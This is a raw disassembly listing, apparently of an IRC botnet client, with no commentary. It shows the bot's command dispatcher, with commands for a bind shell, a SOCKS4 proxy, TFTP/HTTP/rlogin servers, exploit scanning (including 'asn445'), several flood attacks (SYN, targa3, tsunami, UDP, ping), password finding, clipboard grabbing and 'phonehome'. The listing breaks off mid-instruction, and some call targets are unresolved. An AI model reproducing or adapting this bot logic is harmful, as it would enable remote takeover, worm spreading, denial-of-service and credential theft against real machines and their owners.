call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095F6 push edi push offset aDi3 ; "di3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4049BD push edi push offset aDi3 ; "di3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4049BD push edi push offset aLogout ; "logout" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40491B push edi push offset aLo ; "lo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40491B push edi push offset aVersion ; "version" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40490C push edi push offset aVer ; "ver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40490C push edi push offset aRulez ; "rulez" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRz ; "rz" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aSpeedtest ; "speedtest" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4048E9 push edi push offset aSt ; "st" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4048E9 push edi push offset aSecure ; "secure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aSec ; "sec" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aUnsecure ; "unsecure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aUnsec ; "unsec" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aBindshell ; "bindshell" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4046E5 push edi push offset aBd ; "bd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4046E5 push edi push offset aBindshellstop ; "bindshellstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402AFB push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA18 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402AFB: ; CODE XREF: sub_401AC7+101Aj push edi push offset aSocks4 ; "socks4" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045C3 push edi push offset aS4 ; "s4" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045C3 push edi push offset aSocks4stop ; "socks4stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402B4E push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9F0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402B4E: ; CODE XREF: sub_401AC7+106Dj push edi push offset aRloginstop ; "rloginstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402B77 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9D4 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402B77: ; CODE XREF: sub_401AC7+1096j push edi push offset aHttpstop ; "httpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BA0 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9B8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BA0: ; CODE XREF: sub_401AC7+10BFj push edi push offset aLogstop ; "logstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BC9 push [ebp+esi+var_8C] push 25h push offset dword_42C9A4 push offset dword_42C998 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BC9: ; CODE XREF: sub_401AC7+10E8j push edi push offset aRedirectstop ; "redirectstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BF2 push [ebp+esi+var_8C] push 18h push offset dword_42C978 push offset dword_42C968 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BF2: ; CODE XREF: sub_401AC7+1111j push edi push offset dword_42C95C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C1B push [ebp+esi+var_8C] push 0Dh push offset dword_42C950 push offset dword_42C944 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C1B: ; CODE XREF: sub_401AC7+113Aj push edi push offset aSynstop ; "synstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C44 push [ebp+esi+var_8C] push 0Eh push offset dword_42C930 push offset dword_42C924 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C44: ; CODE XREF: sub_401AC7+1163j push edi push offset aSkysynstop ; "skysynstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C6D push [ebp+esi+var_8C] push 10h push offset dword_42C908 push offset dword_42C8F8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C6D: ; CODE XREF: sub_401AC7+118Cj push edi push offset aTarga3stop ; "targa3stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C96 push [ebp+esi+var_8C] push 11h push offset dword_42C8DC push offset dword_42C8CC jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C96: ; CODE XREF: sub_401AC7+11B5j push edi push offset aWonkstop ; "wonkstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402CBF push [ebp+esi+var_8C] push 12h push offset dword_42C8B4 push offset dword_42C8A8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402CBF: ; CODE XREF: sub_401AC7+11DEj push edi push offset aPacketstop ; "packetstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402E15 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C950 push offset dword_42C944 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 0Eh push offset dword_42C930 push offset dword_42C924 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 17h push offset dword_42C890 push offset dword_42C884 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 16h push offset dword_42C878 push offset dword_42C86C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 11h push offset dword_42C8DC push offset dword_42C8CC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 12h push offset dword_42C8B4 push offset dword_42C8A8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 0Fh push offset dword_42C85C push offset dword_42C84C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 13h push offset dword_42C83C push offset dword_42C82C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 10h push offset dword_42C908 push offset dword_42C8F8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push ebx push [ebp+var_4] push offset unk_42C7F8 push [ebp+var_88] push edi call sub_409862 add esp, 34h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_402E15: ; CODE XREF: sub_401AC7+1207j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E3E push [ebp+esi+var_8C] push 0Fh push offset dword_42C85C push offset dword_42C84C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E3E: ; CODE XREF: sub_401AC7+135Dj push edi push offset aWisdomstop ; "wisdomstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E67 push [ebp+esi+var_8C] push 13h push offset dword_42C83C push offset dword_42C82C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E67: ; CODE XREF: sub_401AC7+1386j push edi push offset aUdpstop ; "udpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E90 push [ebp+esi+var_8C] push 17h push offset dword_42C890 push offset dword_42C884 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E90: ; CODE XREF: sub_401AC7+13AFj push edi push offset aPingstop ; "pingstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402EB9 push [ebp+esi+var_8C] push 16h push offset dword_42C878 push offset dword_42C86C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402EB9: ; CODE XREF: sub_401AC7+13D8j push edi push offset aTftpstop ; "tftpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402EE2 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7B0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402EE2: ; CODE XREF: sub_401AC7+1401j push edi push offset aFindfilestop ; "findfilestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045AB push edi push offset aFfstop ; "ffstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045AB push edi push offset aProcsstop ; "procsstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404593 push edi push offset aPsstop ; "psstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404593 push edi push offset aClonestop ; "clonestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402F5F push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C760 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402F5F: ; CODE XREF: sub_401AC7+147Ej push edi push offset aSecurestop ; "securestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402F88 push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C73C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402F88: ; CODE XREF: sub_401AC7+14A7j push edi push offset aScanstop ; "scanstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402FB1 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C71C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402FB1: ; CODE XREF: sub_401AC7+14D0j push edi push offset aScanstats ; "scanstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40457D push edi push offset aStats ; "stats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40457D push edi push offset aTransferstats ; "transferstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404567 push edi push offset aTrstats ; "trstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404567 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404551 push edi push offset aCbstats ; "cbstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404551 push edi push offset aExploitlist ; "exploitlist" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40453B push edi push offset aExplist ; "explist" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40453B push edi push offset aReconnect ; "reconnect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40451C push edi push offset aR ; "r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40451C push edi push offset aDisconnect ; "disconnect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044FA push edi push offset aDc ; "dc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044FA push edi push offset aQuit_0 ; "quit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044B2 push edi push offset aQ ; "q" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044B2 push edi push offset aStatus ; "status" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404474 push edi push offset aS_0 ; "s" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404474 push edi push offset aId ; "id" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40443D push edi push offset aI ; "i" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40443D push edi push offset aR3start ; "r3start" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40317D call sub_418835 test eax, eax mov eax, offset unk_42C65C jnz short loc_40314F mov eax, offset unk_42C638 loc_40314F: ; CODE XREF: sub_401AC7+1681j push eax lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 1Ch jmp loc_40830C ; --------------------------------------------------------------------------- loc_40317D: ; CODE XREF: sub_401AC7+1673j push edi push offset aThreads ; "threads" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40435E push edi push offset aT ; "t" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40435E push edi push offset aAliases ; "aliases" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40433B push edi push offset aAl ; "al" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40433B push edi push offset aLog ; "log" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40424B push edi push offset aLg ; "lg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40424B push edi push offset aClearlog ; "clearlog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40422F push edi push offset aClg ; "clg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40422F push edi push offset aNetinfo ; "netinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041F5 push edi push offset aNi ; "ni" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041F5 push edi push offset aSysinfo ; "sysinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041CA push edi push offset aSi ; "si" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041CA push edi push offset aKosomakyad ; "KOSOMAKYAD" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404190 push edi push offset aKosomak ; "KOSOMAK" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404190 push edi push offset aProcs ; "procs" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404070 push edi push offset aPs ; "ps" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404070 push edi push offset aUptime ; "uptime" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FE9 push edi push offset aUp ; "up" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FE9 push edi push offset aDriveinfo ; "driveinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FCC push edi push offset aDrv ; "drv" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FCC push edi push offset aTestdlls ; "testdlls" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FB3 push edi push offset aDll ; "dll" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FB3 push edi push offset aOpencmd ; "opencmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403F3F push edi push offset aOcmd ; "ocmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403F3F push edi push offset aCmdstop ; "cmdstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40339E push [ebp+esi+var_8C] push 0Ah push offset dword_42C57C push offset dword_42C570 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_40339E: ; CODE XREF: sub_401AC7+18BDj push edi push offset dword_42C56C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4034B4 cmp [ebp+var_8], ebx jnz short loc_4033D2 push ebx push [ebp+var_4] push offset dword_42C558 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4033D2: ; CODE XREF: sub_401AC7+18EFj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033DF ; --------------------------------------------------------------------------- loc_4033DC: ; CODE XREF: sub_401AC7+195Fj mov eax, [ebp+arg_18] loc_4033DF: ; CODE XREF: sub_401AC7+1913j cmp [eax], bl jz short loc_4033E6 inc eax jmp short loc_4033EB ; --------------------------------------------------------------------------- loc_4033E6: ; CODE XREF: sub_401AC7+191Aj mov eax, offset aEmpty ; "<Empty>" loc_4033EB: ; CODE XREF: sub_401AC7+191Dj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C006 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033DC push offset unk_42C528 call sub_415CEE pop ecx loc_403433: ; CODE XREF: sub_401AC7+1BF0j ; sub_401AC7+2F0Aj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F6C push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404ADD push offset aOff ; "off" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4049E3 lea eax, [ebp+var_2C4] push offset unk_42C4F4 push eax mov dword_4CCAC0, ebx call sub_41C006 pop ecx pop ecx loc_40348A: ; CODE XREF: sub_401AC7+2FBDj ; sub_401AC7+2FE3j ... cmp [ebp+var_8], ebx jnz loc_409643 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 loc_4034AC: ; CODE XREF: sub_401AC7+6FBBj ; sub_401AC7+7021j add esp, 14h jmp loc_409643 ; --------------------------------------------------------------------------- loc_4034B4: ; CODE XREF: sub_401AC7+18E6j push edi push offset aGetclip ; "getclip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EFE push edi push offset aGc ; "gc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EFE push edi push offset aFlusharp ; "flusharp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EE7 push edi push offset aFarp ; "farp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EE7 push edi push offset aFlushdns ; "flushdns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EAF push edi push offset aFdns ; "fdns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EAF push edi push offset aCurrentip ; "currentip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403E75 push edi push offset aCip ; "cip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403E75 push edi push offset aRloginserver ; "rloginserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403D3D push edi push offset aRlogin ; "rlogin" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403D3D push edi push offset aHttpserver ; "httpserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403BB1 push edi push offset aHttp ; "http" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403BB1 push edi push offset aTftpserver ; "tftpserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403A7A push edi push offset aTftp ; "tftp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403A7A push edi push offset aShitycrash ; "shitycrash" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_403640 lea eax, [ebp+var_2C4] push offset unk_42C44C push eax call sub_41C006 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_40361F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_40361F: ; CODE XREF: sub_401AC7+1B3Aj lea eax, [ebp+var_2C4] push eax call sub_415CEE mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41C7E0 jmp loc_4097CF ; --------------------------------------------------------------------------- loc_403640: ; CODE XREF: sub_401AC7+1B22j push edi push offset aAsn445 ; "asn445" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403773 push edi push offset off_42C440 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403773 push edi push offset aPhonehome ; "phonehome" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_403697 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_40981C loc_40368F: ; CODE XREF: sub_401AC7+478j add esp, 0Ch jmp loc_401F6C ; --------------------------------------------------------------------------- loc_403697: ; CODE XREF: sub_401AC7+1BB2j push edi push offset aFindpass ; "findpass" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4036BD push edi push offset aFp ; "fp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_403433 loc_4036BD: ; CODE XREF: sub_401AC7+1BDFj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] push offset unk_42C3C8 mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3AD add esp, 24h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_417269 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403762 loc_40374C: ; CODE XREF: sub_401AC7+1C99j cmp [ebp+var_F60], ebx jnz loc_40830C push 32h call near ptr 2690000h nop jmp short loc_40374C ; --------------------------------------------------------------------------- loc_403762: ; CODE XREF: sub_401AC7+1C83j nop call near ptr 26908A7h push eax push offset unk_42C38C jmp loc_4082FD ; --------------------------------------------------------------------------- loc_403773: ; CODE XREF: sub_401AC7+1B88j ; sub_401AC7+1B9Dj mov al, byte_431A2A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431A2A jz loc_401F6C mov ecx, edx loc_40378A: ; CODE XREF: sub_401AC7+1CCBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_40378A cmp al, bl jz loc_401F6C mov [ebp+arg_18], edx loc_40379F: ; CODE XREF: sub_401AC7+1F9Ej push 0Bh call sub_40B5F5 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_4037F2 push ecx lea eax, [ebp+var_2C4] push offset dword_42C350 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h jmp loc_403A5C ; --------------------------------------------------------------------------- loc_4037F2: ; CODE XREF: sub_401AC7+1CF6j or [ebp+var_730], 0FFFFFFFFh cmp dword_431808, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_40385F mov eax, [ebp+arg_18] mov esi, offset dword_431808 lea edi, [eax-0Ah] loc_403829: ; CODE XREF: sub_401AC7+1D7Aj lea eax, [esi-28h] push edi push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_403845 inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_403829 jmp short loc_40385F ; --------------------------------------------------------------------------- loc_403845: ; CODE XREF: sub_401AC7+1D70j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431808[ecx] mov [ebp+var_74C], ecx loc_40385F: ; CODE XREF: sub_401AC7+1D55j ; sub_401AC7+1D7Cj cmp [ebp+var_74C], ebx jz loc_403A70 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4C92A8 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4C9390 push eax lea eax, [ebp+var_860] push eax call sub_41BD70 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C5B0 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_403907 loc_4038E5: ; CODE XREF: sub_401AC7+1E3Ej cmp eax, ebx jz short loc_403907 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C5B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038E5 loc_403907: ; CODE XREF: sub_401AC7+1E1Cj ; sub_401AC7+1E20j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C100 push offset byte_43B4B8 push offset aF ; "#f" call sub_41C7E0 add esp, 14h test eax, eax jz short loc_403974 push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C100 add esp, 0Ch jmp short loc_40397A ; --------------------------------------------------------------------------- loc_403974: ; CODE XREF: sub_401AC7+1E90j mov [ebp+var_7D0], bl loc_40397A: ; CODE XREF: sub_401AC7+1EABj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_40398C mov eax, offset aSequential ; "Sequential" loc_40398C: ; CODE XREF: sub_401AC7+1EBEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2D0 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C5E7 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403A16 loc_403A04: ; CODE XREF: sub_401AC7+1F4Dj cmp [ebp+var_71C], ebx jnz short loc_403A31 push 32h call near ptr 2690000h nop jmp short loc_403A04 ; --------------------------------------------------------------------------- loc_403A16: ; CODE XREF: sub_401AC7+1F3Bj nop call near ptr 26908A7h push eax lea eax, [ebp+var_2C4] push offset unk_42C294 push eax call sub_41C006 add esp, 0Ch loc_403A31: ; CODE XREF: sub_401AC7+1F43j cmp edi, ebx jnz short loc_403A4F push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_403A4F: ; CODE XREF: sub_401AC7+1F6Cj lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx loc_403A5C: ; CODE XREF: sub_401AC7+1D26j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_40379F jmp loc_401F6C ; --------------------------------------------------------------------------- loc_403A70: ; CODE XREF: sub_401AC7+1D9Ej push offset unk_42C25C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_403A7A: ; CODE XREF: sub_401AC7+1AF8j ; sub_401AC7+1B0Dj push 5 call sub_40B5F5 test eax, eax pop ecx jle short loc_403A90 push offset unk_42C23C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401AC7+1FBDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AB3 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C100 add esp, 0Ch jmp short loc_403AC7 ; --------------------------------------------------------------------------- loc_403AB3: ; CODE XREF: sub_401AC7+1FD2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx nop call near ptr 2680000h loc_403AC7: ; CODE XREF: sub_401AC7+1FEAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AD7 mov esi, offset byte_429108 loc_403AD7: ; CODE XREF: sub_401AC7+2009j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C100 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C208 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3AD add esp, 34h mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412155 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403BA0 loc_403B8A: ; CODE XREF: sub_401AC7+20D7j cmp [ebp+var_2AB8], ebx jnz loc_4081DE push 32h call near ptr 2690000h nop jmp short loc_403B8A ; --------------------------------------------------------------------------- loc_403BA0: ; CODE XREF: sub_401AC7+20C1j nop call near ptr 26908A7h push eax push offset unk_42C1CC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_403BB1: ; CODE XREF: sub_401AC7+1ACEj ; sub_401AC7+1AE3j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BD0 push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_403BD0 push edi call sub_41BEF9 pop ecx jmp short loc_403BD5 ; --------------------------------------------------------------------------- loc_403BD0: ; CODE XREF: sub_401AC7+20F3j ; sub_401AC7+20FEj mov eax, dword_42907C loc_403BD5: ; CODE XREF: sub_401AC7+2107j mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C08 lea eax, [ebp+var_37D0] push esi push eax call sub_41C006 pop ecx pop ecx jmp short loc_403C33 ; --------------------------------------------------------------------------- loc_403C08: ; CODE XREF: sub_401AC7+212Ej lea eax, [ebp+var_49F4] push 104h push eax nop call near 